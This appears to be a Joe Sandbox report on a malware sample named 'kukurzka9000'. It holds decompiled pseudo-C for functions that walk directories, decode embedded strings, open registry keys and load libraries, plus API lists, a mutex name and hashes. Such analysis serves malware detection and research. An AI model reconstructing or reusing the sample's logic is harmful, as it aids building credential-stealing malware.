Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Locallstrlen$DefaultGlobalInfoLocaleUserwsprintf
String ID: pXqt
API String ID: 2247720945-1234763034
Opcode ID: 62d0f9841ec6e868d0d1d7cb96462110b985b39fb2cc8cbfcb7090088de899c8
Instruction ID: 624d8c4e8efa692e5b23cff9d3e49fd3310a2e312a93838384a0c37449368444
Opcode Fuzzy Hash: 62d0f9841ec6e868d0d1d7cb96462110b985b39fb2cc8cbfcb7090088de899c8
Instruction Fuzzy Hash: 84F0C8B1200214BFF3005BA6AD89E6777ACEB48724F004435F748B7290CAB46C20866D

Uniqueness

Uniqueness Score: -1.00%

Function 00406468 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(0040687A,00000000), ref: 004064AB
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 0040655B
LocalFree.KERNEL32(00000000), ref: 00406575
LocalFree.KERNEL32(?), ref: 004065CA

Strings

pXqt, xrefs: 00406575, 004065CA

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$BinaryByteCharCryptMultiStringWide
String ID: pXqt
API String ID: 565018292-1234763034
Opcode ID: f99eeab593d43d46b53e483af27d95279f1ed3bfb06a039265a8d3998aacac8f
Instruction ID: ac64a0b193ce7f41f530b5697522d6c2b33bbf0bf2498a0822923da046ee8569
Opcode Fuzzy Hash: f99eeab593d43d46b53e483af27d95279f1ed3bfb06a039265a8d3998aacac8f
Instruction Fuzzy Hash: 93417A71A00215AFEB14CBA6DD81FBEBBF8EF88710F104429F605F7290D774A9118B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040196E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401A10
LocalFree.KERNEL32(00000000), ref: 00401A30
FindClose.KERNEL32(00000000), ref: 00401A4E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401AA4

Strings

pXqt, xrefs: 00401A30

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CombinePath$CloseFindFreeLocal
String ID: pXqt
API String ID: 2199340046-1234763034
Opcode ID: 8d4b454fa07d57e91eda3078c457a80832fe221a6e70e63dacd382864624ccd9
Instruction ID: 3d68e71345cd2aefdee3dd56593ad5adbe6c8fe38e95c290ac396d302c259ee2
Opcode Fuzzy Hash: 8d4b454fa07d57e91eda3078c457a80832fe221a6e70e63dacd382864624ccd9
Instruction Fuzzy Hash: D2410571600214ABDB24EB55DD84FAB7378EB44300F00457AF905B32E0EB789E55CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040633E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040633E(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v524;
				char _v536;
				char _v540;
				char _v546;
				char _v560;
				char _v1084;
				intOrPtr _v1092;
				char _v1096;
				short _v1100;
				intOrPtr _v1120;
				signed int _v1128;
				char _v1132;
				short* _v1156;
				void* __ebx;
				void* __esi;
				void* _t25;
				void* _t31;
				void* _t34;
				signed int _t36;
				WCHAR* _t49;
				void* _t74;
				intOrPtr _t76;
				void* _t78;

				_t76 = _a8;
				_t49 = __ecx;
				_v1120 = __edx;
				if(_t76 > 2) {
					L10:
					_t25 = 1;
					L11:
					return _t25;
				}
				E004018E9( &_v524, 0x104, __ecx, __ecx);
				E0040188C(__ecx,  &_v536, 0x104, _t76,  *0x40e1d0);
				_t74 =  *((intOrPtr*)( *0x40e018))( &_v540,  &_v1132, __ecx);
				if(_t74 != 0xffffffff) {
					do {
						__eflags = _v1128 & 0x00000010;
						if((_v1128 & 0x00000010) != 0) {
							__eflags =  *((intOrPtr*)( *0x40e0a0))( &_v1084,  *0x40e394);
							if(__eflags != 0) {
								_t34 = 0x2e;
								__eflags = _t34 - _v1092;
								if(_t34 != _v1092) {
									_t36 =  *((intOrPtr*)( *0x40e08c))(_t49);
									_t59 =  &_v546 + _t36 * 2;
									_push( &_v546 + _t36 * 2);
									E004018E9( &_v546 + _t36 * 2, 0x104, _t59,  &_v1096);
									_t22 = _t76 + 1; // 0x407b87
									E0040633E( &_v560, _v1156, _a4, _t22);
								}
							} else {
								_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								PathCombineW(_t78, _t49,  &_v1100);
								E00406725(_t78, _v1156, __eflags, _a4);
								__eflags = _t78;
								if(_t78 != 0) {
									LocalFree(_t78);
								}
								_t76 = _a8;
							}
						}
						_t31 =  *((intOrPtr*)( *0x40e148))(_t74,  &_v1128);
						__eflags = _t31;
					} while (_t31 != 0);
					FindClose(_t74);
					goto L10;
				} else {
					_t25 = 0;
					goto L11;
				}
			}

0x0040634c
0x0040634f
0x00406351
0x00406359
0x00406417
0x00406417
0x00406419
0x0040641f
0x0040641f
0x00406370
0x00406384
0x0040639d
0x004063a2
0x004063a8
0x004063a8
0x004063ad
0x004063c1
0x004063c3
0x00406422
0x00406423
0x00406428
0x00406430
0x0040643e
0x00406441
0x00406448
0x00406451
0x0040645f
0x00406465
0x004063c5
0x004063d3
0x004063dc
0x004063eb
0x004063f1
0x004063f3
0x004063f6
0x004063f6
0x004063fc
0x004063fc
0x004063c3
0x0040640a
0x0040640c
0x0040640c
0x00406411
0x00000000
0x004063a4
0x004063a4
0x00000000
0x004063a4

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 004063DC
LocalFree.KERNEL32(00000000), ref: 004063F6
FindClose.KERNEL32(00000000), ref: 00406411

Strings

pXqt, xrefs: 004063F6

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID: pXqt
API String ID: 2857355001-1234763034
Opcode ID: 1e8bcfac7fb21d89a1fd7e3e990eafe174fcc517af54ff1d10cd8ac6bdeb1a69
Instruction ID: a2e91296d065ef1b0a06dad1807512ccc5f2754619bc6de4979fdad6ab57a53e
Opcode Fuzzy Hash: 1e8bcfac7fb21d89a1fd7e3e990eafe174fcc517af54ff1d10cd8ac6bdeb1a69
Instruction Fuzzy Hash: CE310272104316ABD714EB54DC80DBB73A8EB84314F00493EFD56A32E0DB79A919DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040177F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(?,00000000), ref: 004017DB
LocalFree.KERNEL32(00000000), ref: 004017E2
LocalFree.KERNEL32(00000000), ref: 004017ED

Strings

pXqt, xrefs: 004017E2, 004017ED

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: pXqt
API String ID: 2826327444-1234763034
Opcode ID: 906ceeb5598f4a209837246c86dcb2ec7a27b24152454f0928d4476197fc89b4
Instruction ID: 0e35f1b792878b3a1d48bea3d62df56abb982cd26097e817133252b33d58790c
Opcode Fuzzy Hash: 906ceeb5598f4a209837246c86dcb2ec7a27b24152454f0928d4476197fc89b4
Instruction Fuzzy Hash: 5D01DF72200115FBEB188BAAED84FAB77ACEF48350F000434F605F72A0DAB0DD1096B8

Uniqueness

Uniqueness Score: -1.00%

Function 004055B6 Relevance: 88.0, APIs: 49, Strings: 1, Instructions: 476
memoryregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E004055B6(intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t117;
				void* _t124;
				void* _t131;
				void* _t138;
				void* _t147;
				void* _t156;
				void* _t162;
				void* _t167;
				void* _t181;
				void* _t182;
				void* _t194;
				void* _t195;
				void* _t209;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t226;
				void* _t228;
				void* _t229;
				void* _t230;
				char _t274;
				void* _t289;
				void* _t291;
				void* _t295;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				int _t309;
				void* _t311;
				void* _t314;
				signed int _t317;
				void* _t319;
				signed int _t321;
				void* _t323;
				signed int _t325;
				void* _t327;
				signed int _t329;
				void* _t331;
				signed int _t333;
				void* _t335;
				signed int _t337;
				void* _t339;
				signed int _t341;
				void* _t344;
				void* _t345;
				void* _t347;
				void* _t348;

				_v56 = __edx;
				_t295 =  *((intOrPtr*)( *0x40e18c))(_t230,  *0x40e250);
				if(_t295 == 0) {
					L42:
					return 0;
				}
				while(1) {
					_t296 = _t295 + 0xa;
					_t117 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t296) + _t115);
					_t226 = _t117;
					_v8 = _t226;
					_t314 =  *((intOrPtr*)( *0x40e18c))(_t296,  *0x40e1f0);
					if(_t314 == 0) {
						break;
					}
					_t317 = _t314 - _t296 >> 1;
					if(E0040A3E4(_t296,  &_v8, 0, _t317) == 0) {
						_t226 = _v8;
						break;
					}
					_t298 = _t296 + _t317 * 2 + 2;
					_t124 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t298) + _t122);
					_t226 = _t124;
					_v12 = _t226;
					_t319 =  *((intOrPtr*)( *0x40e18c))(_t298,  *0x40e20c);
					if(_t319 == 0) {
						L37:
						LocalFree(_v8);
						L29:
						break;
					}
					_t321 = _t319 - _t298 >> 1;
					if(E0040A3E4(_t298,  &_v12, 0, _t321) == 0) {
						_t226 = _v12;
						goto L37;
					}
					_t300 = _t298 + _t321 * 2 + 2;
					_t131 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t300) + _t129);
					_t226 = _t131;
					_v16 = _t226;
					_t323 =  *((intOrPtr*)( *0x40e18c))(_t300,  *0x40e20c);
					if(_t323 == 0) {
						L35:
						LocalFree(_v8);
						LocalFree(_v12);
						goto L29;
					}
					_t325 = _t323 - _t300 >> 1;
					if(E0040A3E4(_t300,  &_v16, 0, _t325) == 0) {
						_t226 = _v16;
						goto L35;
					}
					_t302 = _t300 + _t325 * 2 + 2;
					_t138 = LocalAlloc(0x40, RegOpenKeyExA(_t302, ??, ??, ??, ??) + _t136);
					_t228 = _t138;
					_v20 = _t228;
					_t327 =  *((intOrPtr*)( *0x40e18c))(_t302,  *0x40e20c);
					if(_t327 == 0) {
						L33:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_t228);
						LocalFree(_v16);
						L40:
						L41:
						goto L42;
					}
					_t329 = _t327 - _t302 >> 1;
					if(E0040A3E4(_t302,  &_v20, 0, _t329) == 0) {
						_t228 = _v20;
						goto L33;
					}
					_t304 = _t302 + _t329 * 2 + 2;
					_t147 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t304) + _t145);
					_t226 = _t147;
					_v24 = _t226;
					_t331 =  *((intOrPtr*)( *0x40e18c))(_t304,  *0x40e20c);
					if(_t331 == 0) {
						L31:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L29;
					}
					_t333 = _t331 - _t304 >> 1;
					if(E0040A3E4(_t304,  &_v24, 0, _t333) == 0) {
						_t226 = _v24;
						goto L31;
					}
					_t306 = _t304 + _t333 * 2 + 2;
					_t156 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t306) + _t154);
					_t226 = _t156;
					_v32 = _t226;
					_t335 =  *((intOrPtr*)( *0x40e18c))(_t306,  *0x40e20c);
					if(_t335 == 0) {
						L28:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						goto L29;
					}
					_t337 = _t335 - _t306 >> 1;
					_t162 = E0040A3E4(_t306,  &_v32, 0, _t337);
					_t226 = _v32;
					if(_t162 == 0) {
						goto L28;
					}
					_t308 = _t306 + _t337 * 2 + 2;
					_v44 =  *_t226 & 0x0000ffff;
					_t167 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t308) + _t165);
					_v28 = _t167;
					_t339 =  *((intOrPtr*)( *0x40e18c))(_t308,  *0x40e20c);
					if(_t339 == 0) {
						L27:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_t226);
						LocalFree(_v28);
						goto L40;
					}
					_t341 = _t339 - _t308 >> 1;
					if(E0040A3E4(_t308,  &_v28, 0, _t341) == 0) {
						goto L27;
					}
					_t229 = _t308 + (_t341 + 1) * 2;
					_v48 =  *_v28 & 0x0000ffff;
					_t309 = 0x40;
					_t181 = LocalAlloc(_t309, ??);
					_t344 = _t181;
					_v36 = _t344;
					_t182 =  *((intOrPtr*)( *0x40e18c))(_t229,  *0x40e228,  *((intOrPtr*)( *0x40e08c))(_t229) + _t179);
					if(_t182 == 0) {
						L26:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_v32);
						LocalFree(_v28);
						LocalFree(_t344);
						goto L40;
					}
					if(LoadLibraryExA(0, _t182 - _t229 >> 1, ??) == 0) {
						_t344 = _v36;
						goto L26;
					}
					_v40 = _v40 & 0x00000000;
					_t194 =  *((intOrPtr*)( *0x40e044))(_t309, 0x28000);
					_t345 = _t194;
					_v52 = _t345;
					_t195 =  *((intOrPtr*)( *0x40e074))(_v24);
					_push( &_v40);
					_push(_t345);
					_t289 = 0x31;
					_push(0 | _v48 == _t289);
					_push(0 | _v44 == _t289);
					_push(_t195);
					_push(_v20);
					_push(_v16);
					_push(_v12);
					E00405FEB(_v36, _v8);
					_t348 = _t348 + 0x20;
					if(_v40 > 0) {
						_t209 =  *((intOrPtr*)( *0x40e044))(_t309, 0x208);
						_t210 =  *((intOrPtr*)( *0x40e044))(_t309, 0x208);
						_t291 = 0x10;
						_t211 = E0040A05F(_t209, _t291);
						_v48 = _t211;
						_t212 =  *((intOrPtr*)( *0x40e13c))(_t210,  *0x40e210);
						_t311 = _v48;
						_t213 = E0040A503(_t212, _t311);
						_t274 =  *0x40e204; // 0x837988
						_v60 = _v60 & 0x00000000;
						_v64 = _t274;
						_v48 = _t213;
						_t214 = E00408619( &_v48);
						_v44 = _t214;
						_t347 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
						 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t311, 0xffffffff, 0, 0, 0, 0);
						if(0 != 0) {
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t311, 0xffffffff, _t347, 0, 0, 0);
							if(0 != 0) {
								E00407EDB(_v56, _t347, 0, 0, _v40, _v52, _v44,  &_v64);
								_t348 = _t348 + 0x18;
							}
						}
						LocalFree(_t347);
						LocalFree(_v44);
						LocalFree(_v48);
						LocalFree(_t311);
						_t345 = _v52;
					}
					LocalFree(_t345);
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v32);
					LocalFree(_v28);
					LocalFree(_v36);
					_t295 =  *((intOrPtr*)( *0x40e18c))(_t229,  *0x40e250);
					if(_t295 != 0) {
						continue;
					} else {
						goto L41;
					}
				}
				LocalFree(_t226);
				goto L40;
			}

0x004055c8
0x004055ce
0x004055d2
0x00405b56
0x00405b5a
0x00405b5a
0x004055da
0x004055df
0x004055f0
0x004055fe
0x00405601
0x00405606
0x0040560a
0x00000000
0x00000000
0x00405615
0x00405625
0x00405b4a
0x00000000
0x00405b4a
0x00405639
0x00405644
0x00405652
0x00405655
0x0040565a
0x0040565e
0x00405b45
0x00405ae5
0x00405ae5
0x00000000
0x00405ae5
0x00405669
0x00405679
0x00405b42
0x00000000
0x00405b42
0x0040568d
0x00405698
0x004056a6
0x004056a9
0x004056ae
0x004056b2
0x00405b34
0x00405b37
0x00405ae5
0x00000000
0x00405ae5
0x004056bd
0x004056cd
0x00405b31
0x00000000
0x00405b31
0x004056e1
0x004056ec
0x004056fa
0x004056fd
0x00405702
0x00405706
0x00405b13
0x00405b16
0x00405b1f
0x00405b26
0x00405b4e
0x00405b4e
0x00405b54
0x00000000
0x00405b55
0x00405711
0x00405721
0x00405b10
0x00000000
0x00405b10
0x00405735
0x00405740
0x0040574e
0x00405751
0x00405756
0x0040575a
0x00405af0
0x00405af3
0x00405afc
0x00405b05
0x00405ae5
0x00000000
0x00405ae5
0x00405765
0x00405775
0x00405aed
0x00000000
0x00405aed
0x00405789
0x00405794
0x004057a2
0x004057a5
0x004057aa
0x004057ae
0x00405abe
0x00405ac1
0x00405aca
0x00405ad3
0x00405adc
0x00405ae5
0x00000000
0x00405ae5
0x004057b9
0x004057c0
0x004057c5
0x004057cc
0x00000000
0x00000000
0x004057de
0x004057e1
0x004057f1
0x00405800
0x00405805
0x00405809
0x00405a82
0x00405a85
0x00405a8e
0x00405a97
0x00405aa0
0x00405aa9
0x00405ab0
0x00405b4e
0x00000000
0x00405b4e
0x00405814
0x00405824
0x00000000
0x00000000
0x00405831
0x0040583a
0x0040584a
0x0040584c
0x0040585a
0x0040585d
0x00405860
0x00405864
0x00405a3d
0x00405a40
0x00405a49
0x00405a52
0x00405a5b
0x00405a64
0x00405a6d
0x00405a76
0x00405b4e
0x00000000
0x00405b4e
0x0040587f
0x00405a3a
0x00000000
0x00405a3a
0x0040588a
0x00405894
0x0040589f
0x004058a1
0x004058a4
0x004058a9
0x004058aa
0x004058ad
0x004058b7
0x004058c4
0x004058c8
0x004058c9
0x004058cc
0x004058cf
0x004058d2
0x004058d7
0x004058de
0x004058ef
0x004058ff
0x00405903
0x00405908
0x0040591a
0x0040591d
0x0040591f
0x00405926
0x0040592b
0x00405931
0x00405935
0x0040593b
0x0040593e
0x00405950
0x0040595b
0x0040596c
0x00405970
0x00405987
0x0040598b
0x004059a3
0x004059a8
0x004059a8
0x0040598b
0x004059ac
0x004059b5
0x004059be
0x004059c5
0x004059cb
0x004059cb
0x004059cf
0x004059d8
0x004059e1
0x004059ea
0x004059f3
0x004059fc
0x00405a05
0x00405a0e
0x00405a17
0x00405a2b
0x00405a2f
0x00000000
0x00405a35
0x00000000
0x00405a35
0x00405a2f
0x00405b4e
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 004055F0
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B4E

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalAlloc.KERNEL32(00000040,00000000), ref: 00405644
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405698
RegOpenKeyExA.KERNELBASE(-00000010), ref: 004056E5
LocalAlloc.KERNEL32(00000040,00000000), ref: 004056EC
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405740
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405794
LocalAlloc.KERNEL32(00000040,00000000), ref: 004057F1
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040584C
LoadLibraryExA.KERNELBASE ref: 00405876

Part of subcall function 00405FEB: lstrlenW.KERNEL32(00837728,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406137

LocalFree.KERNEL32(00000000), ref: 004059AC
LocalFree.KERNEL32(?), ref: 004059B5
LocalFree.KERNEL32(?), ref: 004059BE
LocalFree.KERNEL32(?), ref: 004059C5
LocalFree.KERNEL32(00000000), ref: 004059CF
LocalFree.KERNEL32(00407BAF), ref: 004059D8
LocalFree.KERNEL32(?), ref: 004059E1
LocalFree.KERNEL32(?), ref: 004059EA
LocalFree.KERNEL32(?), ref: 004059F3
LocalFree.KERNEL32(?), ref: 004059FC
LocalFree.KERNEL32(?), ref: 00405A05
LocalFree.KERNEL32(?), ref: 00405A0E
LocalFree.KERNEL32(?), ref: 00405A17

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A40
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A49
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A52
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A5B
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A64
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A6D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A76
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A85
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A8E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A97
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AA0
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AA9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AB0
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AC1
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405ACA
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AD3
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405ADC
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AE5
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AF3
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405AFC
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B05
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B16
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B1F
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B26
LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B37

Strings

pXqt, xrefs: 004059AC, 004059B5, 004059BE, 004059C5, 004059CF, 004059D8, 004059E1, 004059EA, 004059F3, 004059FC, 00405A05, 00405A0E, 00405A17, 00405A40, 00405A49, 00405A52, 00405A5B, 00405A64, 00405A6D, 00405A76, 00405A85, 00405A8E, 00405A97, 00405AA0, 00405AA9, 00405AB0, 00405AC1, 00405ACA, 00405AD3, 00405ADC, 00405AE5, 00405AF3, 00405AFC, 00405B05, 00405B16, 00405B1F, 00405B26, 00405B37, 00405B4E

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$GlobalLibraryLoadOpen
String ID: pXqt
API String ID: 3736288983-1234763034
Opcode ID: acb05a7f8a70a2da554c802db9e5f0e9240b428b10ae7605c4d463cf284dd9f3
Instruction ID: f35946c0f576b0545b5d2f7ca60a1d17271964e093f6211ee75f8335e655f3b5
Opcode Fuzzy Hash: acb05a7f8a70a2da554c802db9e5f0e9240b428b10ae7605c4d463cf284dd9f3
Instruction Fuzzy Hash: E1F1C372900225EFDB149BA6DE48EAEBB75EB48310F044535F905B32A0DB746D21CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 02546CE3 Relevance: 66.9, APIs: 31, Strings: 7, Instructions: 395
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0254057F: LoadLibraryW.KERNEL32(0040C040), ref: 0254058A
Part of subcall function 0254057F: LoadLibraryW.KERNEL32(0040C114), ref: 0254061E

CoInitialize.OLE32(00000000), ref: 02546CF7

Part of subcall function 02549A36: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,00000000,00000000), ref: 02549A65

CreateMutexW.KERNEL32(00000000,00000000,iqroq5112542785672901323), ref: 02546D62
ExitProcess.KERNEL32 ref: 02546D6C
LocalFree.KERNEL32(00000000), ref: 02546E71
LocalFree.KERNEL32(00000000), ref: 02546E78
LocalFree.KERNEL32(00000000), ref: 02546E7F
LocalFree.KERNEL32(00000000), ref: 02546EEA
LocalFree.KERNEL32(00000000), ref: 02546EF5
LocalFree.KERNEL32(00000000), ref: 02546F14
LocalFree.KERNEL32(?), ref: 02546F1D
LocalFree.KERNEL32(?), ref: 02546F26
ExitProcess.KERNEL32 ref: 02546F75
ExitProcess.KERNEL32 ref: 02546FAB

Strings

, xrefs: 02546DA3
afb5c633c4650f69312baef49db9dfa4, xrefs: 02546CFD
, xrefs: 02546DB6
, xrefs: 02546D97
iqroq5112542785672901323, xrefs: 02546D4D, 02546D52, 02546D5F
, xrefs: 02546D8B
pXqt, xrefs: 02546E71, 02546E78, 02546E7F, 02546EEA, 02546EF5, 02546F14, 02546F1D, 02546F26, 02546FC0, 02547085, 02547102, 02547167, 0254718D, 025471AC, 025471B3, 025471BC, 025471C3

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$ExitProcess$LibraryLoad$ByteCharCreateInitializeMultiMutexWide
String ID: $ $ $ $afb5c633c4650f69312baef49db9dfa4$iqroq5112542785672901323$pXqt
API String ID: 1864685469-3408909005
Opcode ID: c558d2bf8f2b5ab25cdbf621f3a43ffca48a0fa9f05b2738d3e56535cb160897
Instruction ID: ffb5b208d7e89bfb649c23b363c54a04c47de9bd55fe6772239b826fa444f490
Opcode Fuzzy Hash: c558d2bf8f2b5ab25cdbf621f3a43ffca48a0fa9f05b2738d3e56535cb160897
Instruction Fuzzy Hash: 3AD18671A00215ABDB04ABB6DE49E6EBBB6BF88304F104839E505B7390DF749D118F6D

Uniqueness

Uniqueness Score: -1.00%

Function 02544B2A Relevance: 60.5, APIs: 39, Strings: 1, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalFree.KERNEL32(00000000), ref: 025450C2

Part of subcall function 02549958: LocalFree.KERNEL32(00000000,?,025432BA,00000002,?), ref: 025499BD

LocalFree.KERNEL32(00000000), ref: 02544F20
LocalFree.KERNEL32(?), ref: 02544F29
LocalFree.KERNEL32(?), ref: 02544F32
LocalFree.KERNEL32(?), ref: 02544F39
LocalFree.KERNEL32(00000000), ref: 02544F43
LocalFree.KERNEL32(?), ref: 02544F4C
LocalFree.KERNEL32(?), ref: 02544F55
